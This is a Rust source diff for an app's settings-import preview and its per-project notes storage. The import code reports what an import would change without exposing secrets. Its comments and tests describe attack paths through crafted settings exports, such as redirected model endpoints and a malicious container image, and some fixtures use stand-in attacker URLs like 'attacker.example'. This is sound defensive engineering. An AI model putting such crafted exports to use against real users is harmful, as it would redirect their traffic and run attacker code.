pub exported_at: String,
|
||||
/// The exporting app's `CARGO_PKG_VERSION`. Also informational: every
|
||||
/// field below already round-trips through `#[serde(default)]`-covered
|
||||
/// `AppSettings`, so an older or newer export still deserializes; this is
|
||||
/// for a human to notice "this is from a much older version" if an import
|
||||
/// ever looks wrong, not something the code branches on.
|
||||
pub app_version: String,
|
||||
pub settings: AppSettings,
|
||||
#[serde(default)]
|
||||
pub secrets: ExportedSecrets,
|
||||
}
|
||||
|
||||
/// What `preview_settings_import` hands the frontend before anything is
|
||||
/// applied — counts and presence flags only, **never** a secret value itself,
|
||||
/// so this type is safe to return across the IPC boundary and render
|
||||
/// directly. The confirmation UI is built from this.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct SettingsImportPreview {
|
||||
pub exported_at: String,
|
||||
pub app_version: String,
|
||||
pub custom_env_var_count: usize,
|
||||
pub gateway_model_count: usize,
|
||||
pub has_claude_code_settings: bool,
|
||||
pub has_claude_oauth_token: bool,
|
||||
pub has_gateway_api_key: bool,
|
||||
pub has_gateway_master_key: bool,
|
||||
pub has_web_terminal_access_token: bool,
|
||||
/// Whether the imported settings turn the web terminal on. Named
|
||||
/// separately from the token above: `enabled` and the token are two
|
||||
/// different fields, either can be true without the other, and
|
||||
/// "this import turns on a service that listens on your network" is
|
||||
/// exactly the kind of change a wholesale settings replace must not
|
||||
/// bury in a generic "settings replaced" line — see the module doc
|
||||
/// comment on why this field exists at all.
|
||||
pub enables_web_terminal: bool,
|
||||
/// Non-blank custom base URLs the import would set, so a redirect of
|
||||
/// model traffic to somewhere other than the usual provider is visible
|
||||
/// at import time rather than discovered later. These are endpoints, not
|
||||
/// secrets — safe to show verbatim, unlike everything above.
|
||||
#[serde(default)]
|
||||
pub ollama_base_url: Option<String>,
|
||||
#[serde(default)]
|
||||
pub llamacpp_base_url: Option<String>,
|
||||
#[serde(default)]
|
||||
pub openai_compatible_base_url: Option<String>,
|
||||
#[serde(default)]
|
||||
pub gateway_api_base: Option<String>,
|
||||
/// Whether the import sets a custom Docker image, and its name if so —
|
||||
/// disclosed for the same reason as the base URLs above, and arguably
|
||||
/// more sharply: this is the image *every* project container is created
|
||||
/// from (`models::container_config::resolve_image_name`), so a crafted
|
||||
/// export pointing it at an attacker-controlled image is a path to
|
||||
/// running arbitrary code with whatever a project's containers are
|
||||
/// allowed to reach (the Docker socket, an SSH key, project files) —
|
||||
/// not merely a redirected API endpoint.
|
||||
#[serde(default)]
|
||||
pub image_source: ImageSource,
|
||||
#[serde(default)]
|
||||
pub custom_image_name: Option<String>,
|
||||
/// Marketplaces the import configures.
|
||||
#[serde(default)]
|
||||
pub marketplace_count: usize,
|
||||
/// Hooks the import installs for every project. A hook runs commands in
|
||||
/// each project container, and an imported install skips the confirm
|
||||
/// step an install from the Marketplace tab shows, so the preview warns.
|
||||
#[serde(default)]
|
||||
pub global_hook_install_count: usize,
|
||||
/// Plugins the import installs for every project. A plugin can bring
|
||||
/// its own hooks and MCP servers, and skips the same confirm step.
|
||||
#[serde(default)]
|
||||
pub global_plugin_install_count: usize,
|
||||
/// Non-blank marketplace account tokens the import restores.
|
||||
#[serde(default)]
|
||||
pub marketplace_account_token_count: usize,
|
||||
}
|
||||
|
||||
/// A cap on how much of a decrypted, not-yet-trusted string gets echoed back
|
||||
/// into a preview a user reads and a UI renders without truncation of its
|
||||
/// own. Applied to every field above that carries free-form text straight
|
||||
/// from the import file rather than a count or a boolean — a base URL or an
|
||||
/// image name a hostile export author controls has had no validation done
|
||||
/// on it yet at preview time, and nothing stops it from being pathological
|
||||
/// (embedded control characters, or long enough to blow out the confirmation
|
||||
/// dialog and push the security warnings below it off screen).
|
||||
const MAX_PREVIEW_STRING_LEN: usize = 100;
|
||||
|
||||
fn sanitize_for_preview(value: &str) -> String {
|
||||
let cleaned: String = value.chars().filter(|c| !c.is_control()).collect();
|
||||
let trimmed = cleaned.trim();
|
||||
if trimmed.chars().count() > MAX_PREVIEW_STRING_LEN {
|
||||
let truncated: String = trimmed.chars().take(MAX_PREVIEW_STRING_LEN).collect();
|
||||
format!("{}…", truncated)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
impl SettingsImportPreview {
|
||||
pub fn from_payload(payload: &SettingsExportPayload) -> Self {
|
||||
let non_blank = |s: &Option<String>| s.as_deref().is_some_and(|v| !v.trim().is_empty());
|
||||
let sanitized_non_blank = |s: &Option<String>| {
|
||||
s.as_deref()
|
||||
.map(sanitize_for_preview)
|
||||
.filter(|v| !v.is_empty())
|
||||
};
|
||||
Self {
|
||||
exported_at: payload.exported_at.clone(),
|
||||
app_version: payload.app_version.clone(),
|
||||
custom_env_var_count: payload.settings.global_custom_env_vars.len(),
|
||||
gateway_model_count: payload.settings.gateway.models.len(),
|
||||
has_claude_code_settings: payload.settings.global_claude_code_settings.is_some(),
|
||||
has_claude_oauth_token: non_blank(&payload.secrets.claude_oauth_token),
|
||||
has_gateway_api_key: non_blank(&payload.secrets.gateway_api_key),
|
||||
has_gateway_master_key: non_blank(&payload.secrets.gateway_master_key),
|
||||
has_web_terminal_access_token: non_blank(&payload.secrets.web_terminal_access_token),
|
||||
enables_web_terminal: payload.settings.web_terminal.enabled,
|
||||
ollama_base_url: sanitized_non_blank(&payload.settings.global_ollama.base_url),
|
||||
llamacpp_base_url: sanitized_non_blank(&payload.settings.global_llamacpp.base_url),
|
||||
openai_compatible_base_url: sanitized_non_blank(
|
||||
&payload.settings.global_openai_compatible.base_url,
|
||||
),
|
||||
gateway_api_base: sanitized_non_blank(&payload.settings.gateway.api_base),
|
||||
image_source: payload.settings.image_source.clone(),
|
||||
custom_image_name: sanitized_non_blank(&payload.settings.custom_image_name),
|
||||
marketplace_count: payload.settings.marketplaces.len(),
|
||||
global_hook_install_count: payload
|
||||
.settings
|
||||
.global_marketplace_installs
|
||||
.iter()
|
||||
.filter(|i| i.kind == crate::models::marketplace::ItemKind::Hook)
|
||||
.count(),
|
||||
global_plugin_install_count: payload
|
||||
.settings
|
||||
.global_marketplace_installs
|
||||
.iter()
|
||||
.filter(|i| i.kind == crate::models::marketplace::ItemKind::Plugin)
|
||||
.count(),
|
||||
marketplace_account_token_count: payload
|
||||
.secrets
|
||||
.marketplace_account_tokens
|
||||
.values()
|
||||
.filter(|v| !v.trim().is_empty())
|
||||
.count(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::models::AppSettings;
|
||||
|
||||
fn payload_with(secrets: ExportedSecrets) -> SettingsExportPayload {
|
||||
let settings = AppSettings {
|
||||
global_custom_env_vars: vec![
|
||||
crate::models::EnvVar {
|
||||
key: "A".to_string(),
|
||||
value: "1".to_string(),
|
||||
},
|
||||
crate::models::EnvVar {
|
||||
key: "B".to_string(),
|
||||
value: "2".to_string(),
|
||||
},
|
||||
],
|
||||
..AppSettings::default()
|
||||
};
|
||||
SettingsExportPayload {
|
||||
format_version: SETTINGS_EXPORT_FORMAT_VERSION,
|
||||
exported_at: "2026-08-27T00:00:00Z".to_string(),
|
||||
app_version: "0.4.14".to_string(),
|
||||
settings,
|
||||
secrets,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_preview_never_carries_a_secret_value() {
|
||||
let payload = payload_with(ExportedSecrets {
|
||||
claude_oauth_token: Some("sk-super-secret-token".to_string()),
|
||||
gateway_api_key: Some("sk-another-secret".to_string()),
|
||||
gateway_master_key: Some("sk-triple-c-yet-another".to_string()),
|
||||
web_terminal_access_token: Some("wt-super-secret-token".to_string()),
|
||||
..Default::default()
|
||||
});
|
||||
let preview = SettingsImportPreview::from_payload(&payload);
|
||||
let serialized = serde_json::to_string(&preview).unwrap();
|
||||
|
||||
assert!(!serialized.contains("sk-super-secret-token"));
|
||||
assert!(!serialized.contains("sk-another-secret"));
|
||||
assert!(!serialized.contains("sk-triple-c-yet-another"));
|
||||
assert!(!serialized.contains("wt-super-secret-token"));
|
||||
assert!(preview.has_claude_oauth_token);
|
||||
assert!(preview.has_gateway_api_key);
|
||||
assert!(preview.has_gateway_master_key);
|
||||
assert!(preview.has_web_terminal_access_token);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_blank_secret_reads_as_absent_in_the_preview() {
|
||||
// A keychain entry that exists but holds only whitespace must not
|
||||
// read as "present" — same "blank counts as absent" rule the
|
||||
// keychain layer itself applies when storing these.
|
||||
let payload = payload_with(ExportedSecrets {
|
||||
claude_oauth_token: Some(" ".to_string()),
|
||||
gateway_api_key: None,
|
||||
gateway_master_key: None,
|
||||
web_terminal_access_token: Some(" ".to_string()),
|
||||
..Default::default()
|
||||
});
|
||||
let preview = SettingsImportPreview::from_payload(&payload);
|
||||
assert!(!preview.has_claude_oauth_token);
|
||||
assert!(!preview.has_gateway_api_key);
|
||||
assert!(!preview.has_gateway_master_key);
|
||||
assert!(!preview.has_web_terminal_access_token);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn enabling_the_web_terminal_is_surfaced_regardless_of_whether_a_token_came_with_it() {
|
||||
// `enabled` and the token are independent fields — a crafted export
|
||||
// could set one without the other, and both are worth a user's
|
||||
// attention: this is the field that exists specifically so "this
|
||||
// import turns on a service that listens on your network" cannot
|
||||
// hide inside a generic "settings replaced" summary.
|
||||
let mut payload = payload_with(ExportedSecrets::default());
|
||||
payload.settings.web_terminal.enabled = true;
|
||||
let preview = SettingsImportPreview::from_payload(&payload);
|
||||
assert!(preview.enables_web_terminal);
|
||||
assert!(!preview.has_web_terminal_access_token);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn custom_base_urls_are_surfaced_but_blank_ones_read_as_absent() {
|
||||
let mut payload = payload_with(ExportedSecrets::default());
|
||||
payload.settings.global_ollama.base_url = Some("http://attacker.example:11434".to_string());
|
||||
payload.settings.global_llamacpp.base_url = Some(" ".to_string());
|
||||
payload.settings.gateway.api_base = Some("https://gateway.example/v1".to_string());
|
||||
|
||||
let preview = SettingsImportPreview::from_payload(&payload);
|
||||
assert_eq!(
|
||||
preview.ollama_base_url.as_deref(),
|
||||
Some("http://attacker.example:11434")
|
||||
);
|
||||
assert_eq!(preview.llamacpp_base_url, None);
|
||||
assert_eq!(preview.openai_compatible_base_url, None);
|
||||
assert_eq!(
|
||||
preview.gateway_api_base.as_deref(),
|
||||
Some("https://gateway.example/v1")
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn counts_reflect_the_real_settings() {
|
||||
let payload = payload_with(ExportedSecrets::default());
|
||||
let preview = SettingsImportPreview::from_payload(&payload);
|
||||
assert_eq!(preview.custom_env_var_count, 2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_empty_secrets_bundle_reports_itself_as_empty() {
|
||||
assert!(ExportedSecrets::default().is_empty());
|
||||
assert!(!ExportedSecrets {
|
||||
claude_oauth_token: Some("x".to_string()),
|
||||
..Default::default()
|
||||
}
|
||||
.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_secrets_bundle_holding_only_whitespace_still_reports_itself_as_empty() {
|
||||
// Matches the "blank counts as absent" rule every other consumer of
|
||||
// these fields applies (`has_claude_oauth_token` and friends above) —
|
||||
// a keychain entry that exists but holds only whitespace carries
|
||||
// nothing usable, so the export-time "nothing to export" log line
|
||||
// must still fire for it.
|
||||
assert!(ExportedSecrets {
|
||||
claude_oauth_token: Some(" ".to_string()),
|
||||
..Default::default()
|
||||
}
|
||||
.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_custom_docker_image_is_surfaced() {
|
||||
let mut payload = payload_with(ExportedSecrets::default());
|
||||
payload.settings.image_source = crate::models::ImageSource::Custom;
|
||||
payload.settings.custom_image_name = Some("ghcr.io/attacker/triple-c:latest".to_string());
|
||||
|
||||
let preview = SettingsImportPreview::from_payload(&payload);
|
||||
assert_eq!(preview.image_source, crate::models::ImageSource::Custom);
|
||||
assert_eq!(
|
||||
preview.custom_image_name.as_deref(),
|
||||
Some("ghcr.io/attacker/triple-c:latest")
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn preview_strings_are_stripped_of_control_characters_and_capped_in_length() {
|
||||
let mut payload = payload_with(ExportedSecrets::default());
|
||||
payload.settings.global_ollama.base_url =
|
||||
Some(format!("http://example.test/{}\u{0007}bell", "x".repeat(200)));
|
||||
|
||||
let preview = SettingsImportPreview::from_payload(&payload);
|
||||
let shown = preview.ollama_base_url.expect("non-blank base url");
|
||||
assert!(!shown.contains('\u{0007}'), "control character leaked into the preview");
|
||||
// +1 for the trailing ellipsis appended when truncated.
|
||||
assert!(
|
||||
shown.chars().count() <= MAX_PREVIEW_STRING_LEN + 1,
|
||||
"preview string was not capped: {} chars",
|
||||
shown.chars().count()
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn marketplaces_global_hooks_and_account_tokens_are_disclosed_without_the_tokens() {
|
||||
use crate::models::marketplace::{ItemKind, Marketplace, MarketplaceInstall};
|
||||
let mut payload = payload_with(ExportedSecrets {
|
||||
marketplace_account_tokens: std::collections::BTreeMap::from([
|
||||
("a1".to_string(), "test-token-not-real-1".to_string()),
|
||||
("a2".to_string(), " ".to_string()),
|
||||
]),
|
||||
..Default::default()
|
||||
});
|
||||
payload.settings.marketplaces.push(Marketplace {
|
||||
id: "m1".into(),
|
||||
name: "Team".into(),
|
||||
url: "https://example.invalid/r.git".into(),
|
||||
branch: None,
|
||||
account_id: None,
|
||||
});
|
||||
let install = |kind, key: &str| MarketplaceInstall {
|
||||
marketplace_id: "m1".into(),
|
||||
kind,
|
||||
key: key.into(),
|
||||
commit: "a".repeat(40),
|
||||
};
|
||||
payload.settings.global_marketplace_installs = vec![
|
||||
install(ItemKind::Hook, "fmt"),
|
||||
install(ItemKind::Agent, "rev"),
|
||||
install(ItemKind::Hook, "lint"),
|
||||
];
|
||||
|
||||
let preview = SettingsImportPreview::from_payload(&payload);
|
||||
assert_eq!(preview.marketplace_count, 1);
|
||||
assert_eq!(preview.global_hook_install_count, 2);
|
||||
assert_eq!(preview.marketplace_account_token_count, 1, "a blank token is absent");
|
||||
assert!(!serde_json::to_string(&preview).unwrap().contains("test-token-not-real"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_bundle_holding_only_a_marketplace_token_is_not_empty() {
|
||||
let secrets = ExportedSecrets {
|
||||
marketplace_account_tokens: std::collections::BTreeMap::from([(
|
||||
"a1".to_string(),
|
||||
"test-token-not-real".to_string(),
|
||||
)]),
|
||||
..Default::default()
|
||||
};
|
||||
assert!(!secrets.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn global_plugin_installs_are_counted_apart_from_hooks() {
|
||||
use crate::models::marketplace::{ItemKind, MarketplaceInstall};
|
||||
let mut payload = payload_with(ExportedSecrets::default());
|
||||
let install = |kind, key: &str| MarketplaceInstall {
|
||||
marketplace_id: "m1".into(),
|
||||
kind,
|
||||
key: key.into(),
|
||||
commit: "a".repeat(40),
|
||||
};
|
||||
payload.settings.global_marketplace_installs = vec![
|
||||
install(ItemKind::Plugin, "p1"),
|
||||
install(ItemKind::Hook, "h1"),
|
||||
install(ItemKind::Plugin, "p2"),
|
||||
install(ItemKind::Skill, "s1"),
|
||||
];
|
||||
let preview = SettingsImportPreview::from_payload(&payload);
|
||||
assert_eq!(preview.global_plugin_install_count, 2);
|
||||
assert_eq!(preview.global_hook_install_count, 1);
|
||||
}
|
||||
}
|
||||
@@ -1,7 +1,9 @@
|
||||
pub mod migration_store;
|
||||
pub mod notes_store;
|
||||
pub mod pending_cleanup;
|
||||
pub mod projects_store;
|
||||
pub mod secure;
|
||||
pub mod settings_crypto;
|
||||
pub mod settings_store;
|
||||
|
||||
#[allow(unused_imports)]
|
||||
|
||||
@@ -0,0 +1,593 @@
|
||||
//! Host-side persistence for per-project notes.
|
||||
//!
|
||||
//! One JSON file per project under `<data_dir>/triple-c/notes/`, on the same
|
||||
//! free-function shape as `migration_store` — no struct, nothing in
|
||||
//! `AppState`, no in-memory copy. `ProjectsStore` holds a `Mutex` because it
|
||||
//! caches the project list; a store that reads and writes the file per call
|
||||
//! has nothing to cache and nothing to guard.
|
||||
//!
|
||||
//! Deliberately *not* a field on `Project`. `projects.json` is rewritten on
|
||||
//! every blur by the debounced-nothing save path in `useSaveState`, so notes
|
||||
//! there would mean the whole project list is rewritten per edit, and a note
|
||||
//! save racing a Config save would silently drop one of them.
|
||||
|
||||
use std::fs;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::sync::{Mutex, OnceLock};
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
use crate::models::Note;
|
||||
|
||||
/// The version stamped into every notes file this build writes.
|
||||
const NOTES_FORMAT_VERSION: u32 = 1;
|
||||
|
||||
/// What is actually on disk: a version envelope around the notes.
|
||||
///
|
||||
/// The list is wrapped rather than written bare because the wrapper costs
|
||||
/// nothing today and cannot be added cheaply later — once files exist in the
|
||||
/// field, every reader has to sniff two shapes forever. `version` is written
|
||||
/// and read back but nothing branches on it yet: it is the hook a future
|
||||
/// format change hangs off, and its value is only useful if it has been there
|
||||
/// since the first file.
|
||||
///
|
||||
/// Not in `models/` and not exposed over IPC: the frontend receives
|
||||
/// `Vec<Note>` from `list_notes` and never sees the envelope, so this is a
|
||||
/// storage detail rather than part of the IPC contract.
|
||||
#[derive(Debug, Serialize, Deserialize)]
|
||||
struct ProjectNotes {
|
||||
version: u32,
|
||||
#[serde(default)]
|
||||
notes: Vec<Note>,
|
||||
}
|
||||
|
||||
/// Serialises the read-modify-write half of an upsert or delete.
|
||||
///
|
||||
/// Nothing here is cached, so there is no shared state to protect — but an
|
||||
/// upsert reads the whole file, edits one entry and writes it back, and two of
|
||||
/// those interleaving would lose whichever note was written first. The read
|
||||
/// path does not take it.
|
||||
fn write_lock() -> &'static Mutex<()> {
|
||||
static LOCK: OnceLock<Mutex<()>> = OnceLock::new();
|
||||
LOCK.get_or_init(|| Mutex::new(()))
|
||||
}
|
||||
|
||||
/// `<data_dir>/triple-c/notes`, created on demand.
|
||||
pub fn notes_dir() -> Result<PathBuf, String> {
|
||||
let dir = dirs::data_dir()
|
||||
.ok_or_else(|| {
|
||||
"Could not determine data directory. Set XDG_DATA_HOME on Linux.".to_string()
|
||||
})?
|
||||
.join("triple-c")
|
||||
.join("notes");
|
||||
fs::create_dir_all(&dir).map_err(|e| format!("Failed to create notes directory: {}", e))?;
|
||||
Ok(dir)
|
||||
}
|
||||
|
||||
/// Project ids are UUIDs, but they arrive over IPC, so refuse to let one steer
|
||||
/// the write anywhere but the notes directory.
|
||||
fn sanitize(project_id: &str) -> String {
|
||||
project_id
|
||||
.chars()
|
||||
.map(|c| if c.is_ascii_alphanumeric() || c == '-' || c == '_' { c } else { '_' })
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn notes_path_in(dir: &Path, project_id: &str) -> PathBuf {
|
||||
dir.join(format!("{}.json", sanitize(project_id)))
|
||||
}
|
||||
|
||||
// ── Public API. Each resolves the real directory, then defers to the `_in`
|
||||
// variant, which is what the tests exercise against a temp dir. `ProjectsStore`
|
||||
// hardcodes `dirs::data_dir()` in its constructor and is therefore untestable
|
||||
// as a unit; this store does not inherit that. ─────────────────────────────
|
||||
|
||||
pub fn load(project_id: &str) -> Result<Vec<Note>, String> {
|
||||
load_in(¬es_dir()?, project_id)
|
||||
}
|
||||
|
||||
pub fn upsert(project_id: &str, note: Note) -> Result<Note, String> {
|
||||
upsert_in(¬es_dir()?, project_id, note)
|
||||
}
|
||||
|
||||
pub fn delete(project_id: &str, note_id: &str) -> Result<(), String> {
|
||||
delete_in(¬es_dir()?, project_id, note_id)
|
||||
}
|
||||
|
||||
/// Remove a project's notes file entirely. Missing is success.
|
||||
pub fn clear(project_id: &str) -> Result<(), String> {
|
||||
clear_in(¬es_dir()?, project_id)
|
||||
}
|
||||
|
||||
// ── Implementation ─────────────────────────────────────────────────────────
|
||||
|
||||
/// Read a project's notes. A missing file is an empty list.
|
||||
///
|
||||
/// **An unparseable file is copied aside and left in place**, then reported as
|
||||
/// empty. Erroring instead would make the Notes tab permanently unusable for
|
||||
/// that project with no way out through the UI; deleting instead would destroy
|
||||
/// the only copy of what the user wrote. The copy is timestamped so a second
|
||||
/// corruption cannot overwrite the first — which is the one taken before
|
||||
/// anything rewrote the file, and therefore the one worth having — and capped,
|
||||
/// because `list_notes` runs on *every* panel mount. See [`keep_corrupt_copy`].
|
||||
fn load_in(dir: &Path, project_id: &str) -> Result<Vec<Note>, String> {
|
||||
let path = notes_path_in(dir, project_id);
|
||||
if !path.exists() {
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
let data = fs::read_to_string(&path).map_err(|e| format!("Failed to read notes: {}", e))?;
|
||||
match parse(&data) {
|
||||
Ok(notes) => Ok(notes),
|
||||
Err(e) => {
|
||||
let kept = keep_corrupt_copy(&path, &chrono::Utc::now());
|
||||
log::error!(
|
||||
"Failed to parse notes for project {}: {} — treating as empty; the file is \
|
||||
left in place{}",
|
||||
project_id,
|
||||
e,
|
||||
kept.describe()
|
||||
);
|
||||
Ok(Vec::new())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Parse a notes file: the versioned envelope, or a bare array.
|
||||
///
|
||||
/// The bare array is what this store wrote before [`ProjectNotes`] existed —
|
||||
/// only ever on a development build, but a developer's own notes are still
|
||||
/// prose nothing else holds a copy of, and the alternative is `load_in`
|
||||
/// declaring a perfectly readable file corrupt. It is read, never written: the
|
||||
/// first save rewrites the file with an envelope.
|
||||
fn parse(data: &str) -> Result<Vec<Note>, serde_json::Error> {
|
||||
match serde_json::from_str::<ProjectNotes>(data) {
|
||||
Ok(file) => Ok(file.notes),
|
||||
// Report the envelope's error, not the array's — the envelope is the
|
||||
// shape this store writes, so its message is the one that describes
|
||||
// what is actually wrong with the file.
|
||||
Err(envelope_err) => serde_json::from_str::<Vec<Note>>(data).map_err(|_| envelope_err),
|
||||
}
|
||||
}
|
||||
|
||||
/// How many timestamped copies of one project's corrupt notes file are kept.
|
||||
///
|
||||
/// Timestamping fixes "a second corruption overwrote the first" and introduces
|
||||
/// its opposite: `load_in` runs on every `list_notes`, which is every panel
|
||||
/// mount — every project switch, every dock-follows-tab change, every sub-tab
|
||||
/// toggle. A file that is *persistently* unparseable (the normal case, since
|
||||
/// nothing repairs it) would otherwise mint a fresh full copy of the user's
|
||||
/// prose every time the clock's second changed. Nothing ever reads them back
|
||||
/// and nothing ever removed them.
|
||||
///
|
||||
/// Four is enough for the only use there is: a human looking at what the file
|
||||
/// held. Same constant, same reasoning as `migration_store`.
|
||||
const MAX_CORRUPT_BACKUPS: usize = 4;
|
||||
|
||||
/// What [`keep_corrupt_copy`] did, so the log line can tell the truth about
|
||||
/// whether a file exists.
|
||||
///
|
||||
/// Three outcomes, and they must not be conflated. Folding "already kept
|
||||
/// enough" into success and then saying "a copy was kept" names a file that
|
||||
/// was never created — which is what someone reads before going to look for
|
||||
/// their data.
|
||||
enum Kept {
|
||||
Copied(PathBuf),
|
||||
/// This exact second's copy was already on disk.
|
||||
AlreadyThere(PathBuf),
|
||||
/// The cap is reached; the earlier copies are kept and this one is not.
|
||||
EnoughAlready(usize),
|
||||
Failed(String),
|
||||
}
|
||||
|
||||
impl Kept {
|
||||
fn describe(&self) -> String {
|
||||
match self {
|
||||
Kept::Copied(p) | Kept::AlreadyThere(p) => format!(" (a copy is at {})", p.display()),
|
||||
// The earliest copies are the ones worth having, so the cap keeps
|
||||
// those and drops this one. Say so, rather than implying a file
|
||||
// exists.
|
||||
Kept::EnoughAlready(n) => format!(
|
||||
" (no copy kept — {} earlier copies of this file are already saved alongside it)",
|
||||
n
|
||||
),
|
||||
Kept::Failed(e) => format!(" (could not keep a copy: {})", e),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Where a copy of an unreadable notes file is kept.
|
||||
fn corrupt_backup_path(path: &Path, now: &chrono::DateTime<chrono::Utc>) -> PathBuf {
|
||||
path.with_extension(format!("json.corrupt-{}.bak", now.format("%Y%m%d-%H%M%S")))
|
||||
}
|
||||
|
||||
/// Whether [`MAX_CORRUPT_BACKUPS`] copies of this project's file already exist.
|
||||
///
|
||||
/// Asked *before* the copy rather than pruning after it, so the cap is not
|
||||
/// implemented by writing a file and deleting it again on every pass — and so
|
||||
/// the copies that survive are the oldest, which are the ones taken closest to
|
||||
/// whatever produced the corruption.
|
||||
///
|
||||
/// A directory that cannot be listed answers "not full": failing open costs at
|
||||
/// most one extra file, and failing closed would drop the very first copy of
|
||||
/// prose nothing else has kept.
|
||||
fn corrupt_backups_full(path: &Path) -> bool {
|
||||
let (Some(dir), Some(stem)) = (path.parent(), path.file_stem()) else {
|
||||
return false;
|
||||
};
|
||||
// `{stem}.json.corrupt-` — the same shape `corrupt_backup_path` builds, so
|
||||
// this can never match another project's copies or an unrelated `.bak`.
|
||||
let prefix = format!("{}.json.corrupt-", stem.to_string_lossy());
|
||||
let Ok(entries) = fs::read_dir(dir) else {
|
||||
return false;
|
||||
};
|
||||
entries
|
||||
.flatten()
|
||||
.filter(|e| {
|
||||
let name = e.file_name().to_string_lossy().to_string();
|
||||
name.starts_with(&prefix) && name.ends_with(".bak")
|
||||
})
|
||||
.count()
|
||||
>= MAX_CORRUPT_BACKUPS
|
||||
}
|
||||
|
||||
fn keep_corrupt_copy(path: &Path, now: &chrono::DateTime<chrono::Utc>) -> Kept {
|
||||
let backup = corrupt_backup_path(path, now);
|
||||
if backup.exists() {
|
||||
return Kept::AlreadyThere(backup);
|
||||
}
|
||||
if corrupt_backups_full(path) {
|
||||
return Kept::EnoughAlready(MAX_CORRUPT_BACKUPS);
|
||||
}
|
||||
match fs::copy(path, &backup) {
|
||||
Ok(_) => Kept::Copied(backup),
|
||||
Err(e) => Kept::Failed(e.to_string()),
|
||||
}
|
||||
}
|
||||
|
||||
/// Insert or replace one note, leaving the rest untouched.
|
||||
///
|
||||
/// `created_at` and `id` are the store's, not the caller's: the webview sends
|
||||
/// a whole `Note` back and must not be able to rewrite when a note was made.
|
||||
/// `updated_at` is stamped here for the same reason.
|
||||
fn upsert_in(dir: &Path, project_id: &str, mut note: Note) -> Result<Note, String> {
|
||||
let _guard = write_lock().lock().unwrap_or_else(|e| e.into_inner());
|
||||
let mut notes = load_in(dir, project_id)?;
|
||||
note.updated_at = chrono::Utc::now().to_rfc3339();
|
||||
match notes.iter_mut().find(|n| n.id == note.id) {
|
||||
Some(existing) => {
|
||||
note.created_at = existing.created_at.clone();
|
||||
*existing = note.clone();
|
||||
}
|
||||
None => notes.push(note.clone()),
|
||||
}
|
||||
save_all(dir, project_id, ¬es)?;
|
||||
Ok(note)
|
||||
}
|
||||
|
||||
/// Remove one note. Removing one that is already gone is success — the UI can
|
||||
/// retry a delete whose result it never saw.
|
||||
fn delete_in(dir: &Path, project_id: &str, note_id: &str) -> Result<(), String> {
|
||||
let _guard = write_lock().lock().unwrap_or_else(|e| e.into_inner());
|
||||
let mut notes = load_in(dir, project_id)?;
|
||||
let before = notes.len();
|
||||
notes.retain(|n| n.id != note_id);
|
||||
if notes.len() == before {
|
||||
return Ok(());
|
||||
}
|
||||
save_all(dir, project_id, ¬es)
|
||||
}
|
||||
|
||||
fn clear_in(dir: &Path, project_id: &str) -> Result<(), String> {
|
||||
let _guard = write_lock().lock().unwrap_or_else(|e| e.into_inner());
|
||||
let path = notes_path_in(dir, project_id);
|
||||
match fs::remove_file(&path) {
|
||||
Ok(()) => Ok(()),
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
|
||||
Err(e) => Err(format!("Failed to remove notes: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
/// Atomically **and durably** write the whole list.
|
||||
///
|
||||
/// Write-temp-then-rename alone is only half of it. `fs::write` returns once
|
||||
/// the bytes are in the page cache; the rename is atomic with respect to other
|
||||
/// readers, not to power loss. Losing power in that window leaves the rename
|
||||
/// applied and the data not written — a truncated file, produced by the code
|
||||
/// whose job is to prevent one. So the file is fsynced before the rename and
|
||||
/// the directory after it, since the rename is directory metadata. Notes are
|
||||
/// prose the user typed and nothing else holds a copy.
|
||||
fn save_all(dir: &Path, project_id: &str, notes: &[Note]) -> Result<(), String> {
|
||||
let path = notes_path_in(dir, project_id);
|
||||
let file = ProjectNotes {
|
||||
version: NOTES_FORMAT_VERSION,
|
||||
notes: notes.to_vec(),
|
||||
};
|
||||
let data = serde_json::to_string_pretty(&file)
|
||||
.map_err(|e| format!("Failed to serialize notes: {}", e))?;
|
||||
let tmp = path.with_extension("json.tmp");
|
||||
|
||||
{
|
||||
use std::io::Write;
|
||||
let mut file =
|
||||
fs::File::create(&tmp).map_err(|e| format!("Failed to write notes: {}", e))?;
|
||||
file.write_all(data.as_bytes())
|
||||
.map_err(|e| format!("Failed to write notes: {}", e))?;
|
||||
file.sync_all()
|
||||
.map_err(|e| format!("Failed to flush notes to disk: {}", e))?;
|
||||
}
|
||||
|
||||
fs::rename(&tmp, &path).map_err(|e| format!("Failed to commit notes: {}", e))?;
|
||||
sync_dir(&path);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// fsync the directory holding `path`, so the rename survives power loss.
|
||||
///
|
||||
/// Best effort only where it is meaningless: Windows has no directory handle
|
||||
/// to sync and returns an error for the attempt, so a failure is logged rather
|
||||
/// than propagated. The file's own `sync_all` carries the data and is not best
|
||||
/// effort.
|
||||
fn sync_dir(path: &Path) {
|
||||
let Some(dir) = path.parent() else { return };
|
||||
if let Err(e) = fs::File::open(dir).and_then(|d| d.sync_all()) {
|
||||
log::debug!(
|
||||
"Could not fsync the notes directory {}: {} — the file itself was flushed",
